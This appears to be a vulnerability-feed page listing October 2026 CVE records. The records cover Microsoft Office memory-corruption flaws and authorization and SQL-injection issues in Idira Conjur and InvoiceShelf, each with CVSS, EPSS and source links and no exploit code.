NVD CVE-2026-70291: https://nvd.nist.gov/vuln/detail/CVE-2026-70291
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70291
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70291&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70287
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70287).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70287&date=2026-10-25).
Sources:
NVD CVE-2026-70287: https://nvd.nist.gov/vuln/detail/CVE-2026-70287
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70287
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70287&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-70281
Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70281).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70281&date=2026-10-25).
Sources:
NVD CVE-2026-70281: https://nvd.nist.gov/vuln/detail/CVE-2026-70281
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70281
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70281&date=2026-10-25
Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70269
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70269).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70269&date=2026-10-25).
Sources:
NVD CVE-2026-70269: https://nvd.nist.gov/vuln/detail/CVE-2026-70269
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70269
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70269&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70268
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70268).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70268&date=2026-10-25).
Sources:
NVD CVE-2026-70268: https://nvd.nist.gov/vuln/detail/CVE-2026-70268
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70268
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70268&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70254
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70254).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70254&date=2026-10-25).
Sources:
NVD CVE-2026-70254: https://nvd.nist.gov/vuln/detail/CVE-2026-70254
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70254
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70254&date=2026-10-25
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-70220
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70220).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70220&date=2026-10-25).
Sources:
NVD CVE-2026-70220: https://nvd.nist.gov/vuln/detail/CVE-2026-70220
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70220
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70220&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70215
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70215).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70215&date=2026-10-25).
Sources:
NVD CVE-2026-70215: https://nvd.nist.gov/vuln/detail/CVE-2026-70215
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70215
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70215&date=2026-10-25
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authorization flaw in Idira Conjur version 13.9.0 allows an authenticated user with limited privileges to perform unauthorized actions on a policy branch.
https://kevwire.com/record/CVE-2026-45165
An authorization flaw in Idira Conjur version 13.9.0 allows an authenticated user with limited privileges to perform unauthorized actions on a policy branch. (Oct 15, 2026).
An authorization flaw in Idira Conjur version 13.9.0 allows an authenticated user with limited privileges to perform unauthorized actions on a policy branch. Under specific circumstances, an attacker could potentially leverage this to retrieve unauthorized secrets, alter administrative access controls on the branch or cause a denial of service (DoS). Idira Security Bulletin CA26-38.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45165).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45165&date=2026-10-25).
Sources:
NVD CVE-2026-45165: https://nvd.nist.gov/vuln/detail/CVE-2026-45165
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45165&date=2026-10-25
An authorization flaw in Idira Conjur version 13.9.0 allows an authenticated user with limited privileges to perform unauthorized actions on a policy branch. Under specific circumstances, an attacker could potentially leverage this to retrieve unauthorized secrets, alter administrative access controls on the branch or cause a denial of service (DoS). Idira Security Bulletin CA26-38.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105718
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105718).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105718&date=2026-10-25).
Sources:
NVD CVE-2026-105718: https://nvd.nist.gov/vuln/detail/CVE-2026-105718
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105718
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105718&date=2026-10-25
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105715
Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105715).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105715&date=2026-10-25).
Sources:
NVD CVE-2026-105715: https://nvd.nist.gov/vuln/detail/CVE-2026-105715
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105715
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105715&date=2026-10-25
Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105599
Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105599).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105599&date=2026-10-25).
Sources:
NVD CVE-2026-105599: https://nvd.nist.gov/vuln/detail/CVE-2026-105599
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105599
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105599&date=2026-10-25
Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102858
Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102858).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102858&date=2026-10-25).
Sources:
NVD CVE-2026-102858: https://nvd.nist.gov/vuln/detail/CVE-2026-102858
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102858&date=2026-10-25
Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100212
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100212).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100212&date=2026-10-25).
Sources:
NVD CVE-2026-100212: https://nvd.nist.gov/vuln/detail/CVE-2026-100212
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100212
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100212&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100211
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100211).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100211&date=2026-10-25).
Sources:
NVD CVE-2026-100211: https://nvd.nist.gov/vuln/detail/CVE-2026-100211
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100211
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100211&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100210
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100210).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100210&date=2026-10-25).
Sources:
NVD CVE-2026-100210: https://nvd.nist.gov/vuln/detail/CVE-2026-100210
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100210&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100209
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100209).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100209&date=2026-10-25).
Sources:
NVD CVE-2026-100209: https://nvd.nist.gov/vuln/detail/CVE-2026-100209
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100209
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100209&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.
https://kevwire.com/record/CVE-2026-55381
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. (Oct 14, 2026).
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, POST /api/v1/estimates/{estimate}/convert-to-invoice in ConvertEstimateController authorizes only the caller's create-invoice ability and does not authorize access to the route-bound Estimate. Because route-model binding can resolve an estimate from any company, an authenticated user with create-invoice ability can copy another company's line items, prices, totals, taxes, notes, currency, and customer data into an invoice in the attacker's company. The victim company's configured conversion action reaches checkForEstimateConvertAction and can also change or delete the original estimate. This issue is fixed in version 2.4.0.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55381).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55381&date=2026-10-25).
Sources:
NVD CVE-2026-55381: https://nvd.nist.gov/vuln/detail/CVE-2026-55381
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55381&date=2026-10-25
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, POST /api/v1/estimates/{estimate}/convert-to-invoice in ConvertEstimateController authorizes only the caller's create-invoice ability and does not authorize access to the route-bound Estimate. Because route-model binding can resolve an estimate from any company, an authenticated user with create-invoice ability can copy another company's line items, prices, totals, taxes, notes, currency, and customer data into an invoice in the attacker's company. The victim company's configured conversion action reaches checkForEstimateConvertAction and can also change or delete the original estimate. This issue is fixed in version 2.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.
https://kevwire.com/record/CVE-2026-55382
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. (Oct 14, 2026).
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf NotesController::show, NotesController::update, and NotesController::destroy authorize only the generic view notes or manage notes ability and do not pass the route-bound Note to NotePolicy::viewNotes or NotePolicy::manageNotes, so neither method checks the target note's company_id. Because the Note model has no global company scope, an authenticated staff user with ordinary note abilities can select another company's sequential note identifier and read, modify, or delete its reusable invoice, estimate, and payment note templates. This issue is fixed in version 2.4.0.
CVSS 7.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55382).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55382&date=2026-10-25).
Sources:
NVD CVE-2026-55382: https://nvd.nist.gov/vuln/detail/CVE-2026-55382
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55382&date=2026-10-25
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf NotesController::show, NotesController::update, and NotesController::destroy authorize only the generic view notes or manage notes ability and do not pass the route-bound Note to NotePolicy::viewNotes or NotePolicy::manageNotes, so neither method checks the target note's company_id. Because the Note model has no global company scope, an authenticated staff user with ordinary note abilities can select another company's sequential note identifier and read, modify, or delete its reusable invoice, estimate, and payment note templates. This issue is fixed in version 2.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.
https://kevwire.com/record/CVE-2026-55383
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. (Oct 14, 2026).
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf public customer invoice, estimate, and payment routes use an EmailLog token's numeric mailable_id without verifying mailable_type, and the JSON handlers do not enforce EmailLog::isExpired. A token issued for one document type can therefore disclose a different company's document when numeric identifiers collide, and an expired token can remain usable on the JSON routes GET /customer/invoices/{email_log:token}, GET /customer/estimates/{email_log:token}, and GET /customer/payments/{email_log:token}. View handlers can also mark a mismatched invoice or estimate as viewed and send a notification. This issue is fixed in version 2.4.0.
CVSS 8.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55383).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55383&date=2026-10-25).
Sources:
NVD CVE-2026-55383: https://nvd.nist.gov/vuln/detail/CVE-2026-55383
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55383&date=2026-10-25
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf public customer invoice, estimate, and payment routes use an EmailLog token's numeric mailable_id without verifying mailable_type, and the JSON handlers do not enforce EmailLog::isExpired. A token issued for one document type can therefore disclose a different company's document when numeric identifiers collide, and an expired token can remain usable on the JSON routes GET /customer/invoices/{email_log:token}, GET /customer/estimates/{email_log:token}, and GET /customer/payments/{email_log:token}. View handlers can also mark a mismatched invoice or estimate as viewed and send a notification. This issue is fixed in version 2.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.
https://kevwire.com/record/CVE-2026-55386
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. (Oct 14, 2026).
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf passes the authenticated user's orderByField query parameter into Laravel orderBy calls in Invoice::scopeApplyFilters without restricting the value to column identifiers. A crafted SQL expression can therefore enter the ORDER BY clause across invoice and other list endpoints, enabling boolean-based blind extraction of database information. This issue is fixed in version 2.4.0.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55386).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55386&date=2026-10-25).
Sources:
NVD CVE-2026-55386: https://nvd.nist.gov/vuln/detail/CVE-2026-55386
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55386&date=2026-10-25
